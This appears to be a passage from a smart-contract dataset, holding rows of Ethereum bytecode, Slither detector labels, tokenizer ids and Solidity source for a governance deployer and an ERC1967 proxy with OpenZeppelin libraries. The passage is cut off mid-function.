00000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061363057607f821691505b60208210811415613644576136436135e9565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b60006136a6602d83613016565b91506136b18261364a565b604082019050919050565b600060208201905081810360008301526136d581613699565b9050919050565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000613738602283613016565b9150613743826136dc565b604082019050919050565b600060208201905081810360008301526137678161372b565b9050919050565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b60006137ca603983613016565b91506137d58261376e565b604082019050919050565b600060208201905081810360008301526137f9816137bd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061383a826130c6565b9150613845836130c6565b92508282101561385857613857613800565b5b828203905092915050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b60006138bf602283613016565b91506138ca82613863565b604082019050919050565b600060208201905081810360008301526138ee816138b2565b9050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b6000613951602e83613016565b915061395c826138f5565b604082019050919050565b6000602082019050818103600083015261398081613944565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139bd602083613016565b91506139c882613987565b602082019050919050565b600060208201905081810360008301526139ec816139b0565b9050919050565b60006139fe826130c6565b9150613a09836130c6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3e57613a3d613800565b5b828201905092915050565b7f4e6f7420656e6f75676820746f6b656e7320746f2061737369676e0000000000600082015250565b6000613a7f601b83613016565b9150613a8a82613a49565b602082019050919050565b60006020820190508181036000830152613aae81613a72565b9050919050565b7f436f6c6c656374696f6e20616c72656164792072657665616c65642100000000600082015250565b6000613aeb601c83613016565b9150613af682613ab5565b602082019050919050565b60006020820190508181036000830152613b1a81613ade565b9050919050565b60008190508160005260206000209050919050565b60008154613b4381613618565b613b4d8186613016565b94506001821660008114613b685760018114613b7a57613bad565b60ff1983168652602086019350613bad565b613b8385613b21565b60005b83811015613ba557815481890152600182019150602081019050613b86565b808801955050505b50505092915050565b60006040820190508181036000830152613bd0818561306b565b90508181036020830152613be48184613b36565b90509392505050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c49602383613016565b9150613c5482613bed565b604082019050919050565b60006020820190508181036000830152613c7881613c3c565b9050919050565b7f4e6f20746f6b656e7320746f20636c61696d2100000000000000000000000000600082015250565b6000613cb5601383613016565b9150613cc082613c7f565b602082019050919050565b60006020820190508181036000830152613ce481613ca8565b9050919050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b6000613d47602b83613016565b9150613d5282613ceb565b604082019050919050565b60006020820190508181036000830152613d7681613d3a565b9050919050565b7f4e6f7420656e6f756768206672656520746f6b656e7320617661696c61626c6560008201527f2100000000000000000000000000000000000000000000000000000000000000602082015250565b6000613dd9602183613016565b9150613de482613d7d565b604082019050919050565b60006020820190508181036000830152613e0881613dcc565b9050919050565b7f4e6f7420616c6c6f776564210000000000000000000000000000000000000000600082015250565b6000613e45600c83613016565b9150613e5082613e0f565b602082019050919050565b60006020820190508181036000830152613e7481613e38565b9050919050565b7f4d6178206672656520746f6b656e7320616c7265616479206d696e7465642100600082015250565b6000613eb1601f83613016565b9150613ebc82613e7b565b602082019050919050565b60006020820190508181036000830152613ee081613ea4565b9050919050565b7f496e636f727265637420616d6f756e7421000000000000000000000000000000600082015250565b6000613f1d601183613016565b9150613f2882613ee7565b602082019050919050565b60006020820190508181036000830152613f4c81613f10565b9050919050565b7f4672656520726f756e64206e6f742066696e6973686564210000000000000000600082015250565b6000613f89601883613016565b9150613f9482613f53565b602082019050919050565b60006020820190508181036000830152613fb881613f7c565b9050919050565b6000613fca826130c6565b9150613fd5836130c6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561400e5761400d613800565b5b828202905092915050565b7f496e636f72726563742076616c75652100000000000000000000000000000000600082015250565b600061404f601083613016565b915061405a82614019565b602082019050919050565b6000602082019050818103600083015261407e81614042565b9050919050565b7f4e6f7420656e6f75676820746f6b656e73210000000000000000000000000000600082015250565b60006140bb601283613016565b91506140c682614085565b602082019050919050565b600060208201905081810360008301526140ea816140ae565b9050919050565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b6000614127601a83613016565b9150614132826140f1565b602082019050919050565b600060208201905081810360008301526141568161411a565b9050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b60006141b9603383613016565b91506141c48261415d565b604082019050919050565b600060208201905081810360008301526141e8816141ac565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b600061424b602f83613016565b9150614256826141ef565b604082019050919050565b6000602082019050818103600083015261427a8161423e565b9050919050565b600081905092915050565b7f697066733a2f2f00000000000000000000000000000000000000000000000000600082015250565b60006142c2600783614281565b91506142cd8261428c565b600782019050919050565b60006142e38261300b565b6142ed8185614281565b93506142fd818560208601613027565b80840191505092915050565b7f2f00000000000000000000000000000000000000000000000000000000000000600082015250565b600061433f600183614281565b915061434a82614309565b600182019050919050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b600061438b600583614281565b915061439682614355565b600582019050919050565b60006143ac826142b5565b91506143b882856142d8565b91506143c382614332565b91506143cf82846142d8565b91506143da8261437e565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614442602683613016565b915061444d826143e6565b604082019050919050565b6000602082019050818103600083015261447181614435565b9050919050565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b60006144d4603283613016565b91506144df82614478565b604082019050919050565b60006020820190508181036000830152614503816144c7565b9050919050565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000614566602683613016565b91506145718261450a565b604082019050919050565b6000602082019050818103600083015261459581614559565b9050919050565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006145f8602583613016565b91506146038261459c565b604082019050919050565b60006020820190508181036000830152614627816145eb565b9050919050565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b600061468a602a83613016565b91506146958261462e565b604082019050919050565b600060208201905081810360008301526146b98161467d565b9050919050565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b600061471c602f83613016565b9150614727826146c0565b604082019050919050565b6000602082019050818103600083015261474b8161470f565b9050919050565b600081519050919050565b600082825260208201905092915050565b600061477982614752565b614783818561475d565b9350614793818560208601613027565b61479c8161305a565b840191505092915050565b60006080820190506147bc600083018761315b565b6147c9602083018661315b565b6147d660408301856131f1565b81810360608301526147e8818461476e565b905095945050505050565b60008151905061480281612f7c565b92915050565b60006020828403121561481e5761481d612f46565b5b600061482c848285016147f3565b91505092915050565b6000614840826130c6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561487357614872613800565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006148b8826130c6565b91506148c3836130c6565b9250826148d3576148d261487e565b5b828204905092915050565b60006148e9826130c6565b91506148f4836130c6565b9250826149045761490361487e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061499a602183613016565b91506149a58261493e565b604082019050919050565b600060208201905081810360008301526149c98161498d565b9050919050565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b6000614a2c602883613016565b9150614a37826149d0565b604082019050919050565b60006020820190508181036000830152614a5b81614a1f565b905091905056fe516d645152346666745137544c5736656f717052443333713269386b54537436634843434a515a6974707251434aa264697066735822122012304630f6a5fd6886716f083e6d096a1c8cc8a958fcec177dff712226934bf064736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2546, 2629, 2278, 2546, 21472, 22203, 2581, 2094, 25746, 2094, 2683, 2278, 2581, 2497, 2487, 2497, 22932, 21926, 12740, 2546, 2692, 28311, 7959, 24087, 2050, 2575, 2581, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 3367, 4892, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,350
0x969f8c2aa1b2e904ba92343ee2307baf4cf411a9
pragma solidity ^0.6.8; pragma experimental ABIEncoderV2; contract OrganizationDeployer { address public immutable tokenImplementation; address public immutable timelockImplementation; address public immutable governanceImplementation; struct OrgData { /// @notice Name of the organisation string organisationName; /// @notice Token Symbol string symbol; /// @notice Initial supply of the token uint256 initialSupply; /// @notice Address to receive the initial supply address tokenOwner; /// @notice Timestamp at which minting more tokens is allowed uint256 mintingAllowedAfter; /// @notice Cap for miniting everytime uint8 mintCap; /// @notice Minimun time to minting the tokens again uint32 minimumTimeBetweenMints; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed. Should be lower than initial supply uint256 quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint256 proposalThreshold; /// @notice The delay before voting on a proposal may take place, once proposed. In number of blocks uint256 votingDelay; /// @notice The duration of voting on a proposal, in number blocks uint256 votingPeriod; /// @notice Delay in the timelock contract uint256 delay; /// @notice Minimum delay in the timelock contract uint256 minDelay; /// @notice Maximum delay in the timelock contract uint256 maxDelay; } event LogDeployedOrg( address indexed token_, address indexed timelock_, address indexed governance_ ); constructor(address token_, address timelock_, address governance_) public { tokenImplementation = token_; timelockImplementation = timelock_; governanceImplementation = governance_; } function _deployer() private returns (address token, address timelock, address governance) { uint timestamp_ = now; token = _deployLogic(timestamp_, tokenImplementation); timelock = _deployLogic(timestamp_, timelockImplementation); governance = _deployLogic(timestamp_, governanceImplementation); } function _deployLogic(uint timestamp_, address logic) private returns (address proxy) { bytes32 salt = keccak256(abi.encodePacked(timestamp_)); // TODO : change salt to something that we can control bytes20 targetBytes = bytes20(logic); assembly { let clone := mload(0x40) mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) proxy := create2(0, clone, 0x37, salt) } } function createOrg(OrgData calldata d) external returns (address token, address timelock, address governance) { require(d.initialSupply > d.quorumVotes, "Initial Supply should be greater than quoroum"); require(d.initialSupply > d.proposalThreshold, "Initial Supply should be greater than proposal threshold"); (token, timelock, governance) = _deployer(); bytes memory initData = abi.encodeWithSignature( "initialize(string,string,uint256,address,address,uint256,uint8,uint32)", d.organisationName, d.symbol, d.initialSupply, d.tokenOwner, timelock, d.mintingAllowedAfter, d.mintCap, d.minimumTimeBetweenMints ); (bool success,) = token.call(initData); require(success, "Failed to initialize token"); initData = abi.encodeWithSignature( "initialize(address,uint256,uint256,uint256)", governance, d.delay, d.minDelay, d.maxDelay ); (success,) = timelock.call(initData); require(success, "Failed to initialize timelock"); initData = abi.encodeWithSignature( "initialize(string,address,address,uint256,uint256,uint256,uint256)", string(abi.encodePacked(d.organisationName, " Governor Alpha")), token, timelock, d.quorumVotes, d.proposalThreshold, d.votingDelay, d.votingPeriod ); (success,) = governance.call(initData); require(success, "Failed to initialize governance"); emit LogDeployedOrg(token, timelock, governance); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c8063149fbe5b146100515780632f3a3d5d1461006f578063c5e8f3e51461008d578063eb00a106146100ab575b600080fd5b6100596100dd565b6040516100669190610c6c565b60405180910390f35b610077610101565b6040516100849190610c6c565b60405180910390f35b610095610125565b6040516100a29190610c6c565b60405180910390f35b6100c560048036038101906100c091906108a8565b610149565b6040516100d493929190610c87565b60405180910390f35b7f00000000000000000000000005a24752d15ec52b82b3955b8e27993717fc990f81565b7f000000000000000000000000482bc7eb6a6782f46774a1bc68040724cebf6a5981565b7f000000000000000000000000535085e6859164e2c59f323d55f9e2eb3ae47bdf81565b60008060008360e00135846040013511610198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018f90610e49565b60405180910390fd5b8361010001358460400135116101e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101da90610e69565b60405180910390fd5b6101eb6106f9565b80935081945082955050505060608480600001906102099190610ea9565b8680602001906102199190610ea9565b8860400135896060016020810190610231919061087f565b888b608001358c60a001602081019061024a9190610912565b8d60c001602081019061025d91906108e9565b6040516024016102769a99989796959493929190610d03565b6040516020818303038152906040527f5e4cef9c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008473ffffffffffffffffffffffffffffffffffffffff168260405161031c9190610c16565b6000604051808303816000865af19150503d8060008114610359576040519150601f19603f3d011682016040523d82523d6000602084013e61035e565b606091505b50509050806103a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039990610e89565b60405180910390fd5b82866101600135876101800135886101a001356040516024016103c89493929190610cbe565b6040516020818303038152906040527f4ec81af1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091508373ffffffffffffffffffffffffffffffffffffffff168260405161046c9190610c16565b6000604051808303816000865af19150503d80600081146104a9576040519150601f19603f3d011682016040523d82523d6000602084013e6104ae565b606091505b505080915050806104f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104eb90610e29565b60405180910390fd5b8580600001906105049190610ea9565b604051602001610515929190610c2d565b60405160208183030381529060405285858860e001358961010001358a61012001358b61014001356040516024016105539796959493929190610d93565b6040516020818303038152906040527f74fe2916000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091508273ffffffffffffffffffffffffffffffffffffffff16826040516105f79190610c16565b6000604051808303816000865af19150503d8060008114610634576040519150601f19603f3d011682016040523d82523d6000602084013e610639565b606091505b5050809150508061067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690610e09565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f88f9fad1dee3abe06beefc6501e8e2ef0ceb4adbbe04dcbf74827cfe43c98f4360405160405180910390a450509193909250565b60008060008042905061072c817f000000000000000000000000482bc7eb6a6782f46774a1bc68040724cebf6a5961078c565b9350610758817f000000000000000000000000535085e6859164e2c59f323d55f9e2eb3ae47bdf61078c565b9250610784817f00000000000000000000000005a24752d15ec52b82b3955b8e27993717fc990f61078c565b915050909192565b600080836040516020016107a09190610c51565b60405160208183030381529060405280519060200120905060008360601b90506040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528160148201527f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000006028820152826037826000f5935050505092915050565b60008135905061083381610ff3565b92915050565b60006101c0828403121561084c57600080fd5b81905092915050565b6000813590506108648161100a565b92915050565b60008135905061087981611021565b92915050565b60006020828403121561089157600080fd5b600061089f84828501610824565b91505092915050565b6000602082840312156108ba57600080fd5b600082013567ffffffffffffffff8111156108d457600080fd5b6108e084828501610839565b91505092915050565b6000602082840312156108fb57600080fd5b600061090984828501610855565b91505092915050565b60006020828403121561092457600080fd5b60006109328482850161086a565b91505092915050565b61094481610f3d565b82525050565b600061095582610f00565b61095f8185610f16565b935061096f818560208601610fa5565b80840191505092915050565b60006109878385610f21565b9350610994838584610f96565b61099d83610fe2565b840190509392505050565b60006109b48385610f32565b93506109c1838584610f96565b82840190509392505050565b60006109d882610f0b565b6109e28185610f21565b93506109f2818560208601610fa5565b6109fb81610fe2565b840191505092915050565b6000610a13601f83610f21565b91507f4661696c656420746f20696e697469616c697a6520676f7665726e616e6365006000830152602082019050919050565b6000610a53600f83610f32565b91507f20476f7665726e6f7220416c70686100000000000000000000000000000000006000830152600f82019050919050565b6000610a93601d83610f21565b91507f4661696c656420746f20696e697469616c697a652074696d656c6f636b0000006000830152602082019050919050565b6000610ad3602d83610f21565b91507f496e697469616c20537570706c792073686f756c64206265206772656174657260008301527f207468616e2071756f726f756d000000000000000000000000000000000000006020830152604082019050919050565b6000610b39603883610f21565b91507f496e697469616c20537570706c792073686f756c64206265206772656174657260008301527f207468616e2070726f706f73616c207468726573686f6c6400000000000000006020830152604082019050919050565b6000610b9f601a83610f21565b91507f4661696c656420746f20696e697469616c697a6520746f6b656e0000000000006000830152602082019050919050565b610bdb81610f6f565b82525050565b610bf2610bed82610f6f565b610fd8565b82525050565b610c0181610f79565b82525050565b610c1081610f89565b82525050565b6000610c22828461094a565b915081905092915050565b6000610c3a8284866109a8565b9150610c4582610a46565b91508190509392505050565b6000610c5d8284610be1565b60208201915081905092915050565b6000602082019050610c81600083018461093b565b92915050565b6000606082019050610c9c600083018661093b565b610ca9602083018561093b565b610cb6604083018461093b565b949350505050565b6000608082019050610cd3600083018761093b565b610ce06020830186610bd2565b610ced6040830185610bd2565b610cfa6060830184610bd2565b95945050505050565b6000610100820190508181036000830152610d1f818c8e61097b565b90508181036020830152610d34818a8c61097b565b9050610d436040830189610bd2565b610d50606083018861093b565b610d5d608083018761093b565b610d6a60a0830186610bd2565b610d7760c0830185610c07565b610d8460e0830184610bf8565b9b9a5050505050505050505050565b600060e0820190508181036000830152610dad818a6109cd565b9050610dbc602083018961093b565b610dc9604083018861093b565b610dd66060830187610bd2565b610de36080830186610bd2565b610df060a0830185610bd2565b610dfd60c0830184610bd2565b98975050505050505050565b60006020820190508181036000830152610e2281610a06565b9050919050565b60006020820190508181036000830152610e4281610a86565b9050919050565b60006020820190508181036000830152610e6281610ac6565b9050919050565b60006020820190508181036000830152610e8281610b2c565b9050919050565b60006020820190508181036000830152610ea281610b92565b9050919050565b60008083356001602003843603038112610ec257600080fd5b80840192508235915067ffffffffffffffff821115610ee057600080fd5b602083019250600182023603831315610ef857600080fd5b509250929050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000610f4882610f4f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015610fc3578082015181840152602081019050610fa8565b83811115610fd2576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b610ffc81610f3d565b811461100757600080fd5b50565b61101381610f79565b811461101e57600080fd5b50565b61102a81610f89565b811461103557600080fd5b5056fea2646970667358221220fc906601d2e7a603e16f3cab33738e3ae39f5b276216d180e67974942a3a0b1764736f6c63430006080033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2546, 2620, 2278, 2475, 11057, 2487, 2497, 2475, 2063, 21057, 2549, 3676, 2683, 21926, 23777, 4402, 21926, 2692, 2581, 3676, 2546, 2549, 2278, 2546, 23632, 2487, 2050, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1022, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 3206, 3029, 3207, 24759, 6977, 2121, 1063, 4769, 2270, 10047, 28120, 3085, 19204, 5714, 10814, 3672, 3370, 1025, 4769, 2270, 10047, 28120, 3085, 2051, 7878, 5714, 10814, 3672, 3370, 1025, 4769, 2270, 10047, 28120, 3085, 10615, 5714, 10814, 3672, 3370, 1025, 2358, 6820, 6593, 8917, 2850, 2696, 1063, 1013, 1013, 1013, 1030, 5060, 2171, 1997, 1996, 5502, 5164, 5502, 18442, 1025, 1013, 1013, 1013, 1030, 5060, 19204, 6454, 5164, 6454, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,351
0x96a0253db6b0a04c8639408baf25b7f497339be9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract Murakamiflowers{ // Murakamiflowers bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = 